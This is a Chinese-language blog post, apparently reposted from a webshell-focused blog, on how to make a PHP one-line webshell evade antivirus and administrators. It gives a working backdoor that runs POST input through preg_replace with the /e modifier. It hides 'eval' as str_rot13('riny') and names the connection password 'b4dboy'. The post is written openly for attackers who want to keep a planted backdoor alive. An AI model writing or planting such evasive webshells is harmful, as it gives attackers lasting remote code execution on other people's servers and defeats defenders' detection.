shell 免杀aspx_避开eval关键字,打造免杀一句话木马

这年头留个php一句话木马,随便就被杀了,但具我所知,杀软和运维人员杀的都是eval函数的关键字,只要避开关键字就能延长木马的寿命,但要怎么避开呢?

首先我想到的是将eval从字符串类型赋给一个变量。

如:$func = 'phpinfo';

$func();

这样的确是可以运行phpinfo()的,但是eval却不能通过这样来执行,我马上又想到了assert函数,他有着类似eval的功能,但效果并不理想,完全没有eval用着爽,而且也是公开了的,所以我也就将他放弃了。

还记得《20 Ways to Fuzzing PHP Source Code》里提到的preg_replace代码执行漏洞吗?

没错,利用preg_replace的模式修饰符e(PREG_REPLACE_EVAL)就可以将替换后的字符串作为php代码评估运行(eval函数方式)。

既然是将字符串作为php代码评估运行,哪么完全可以替换或者转码一下eval,这样就可以避开关键字了。

我的一句话木马如下:

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

使用上跟原来的一句话没有区别,可用常用的客户端连接密码b4dboy。

str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果。

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/3202.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值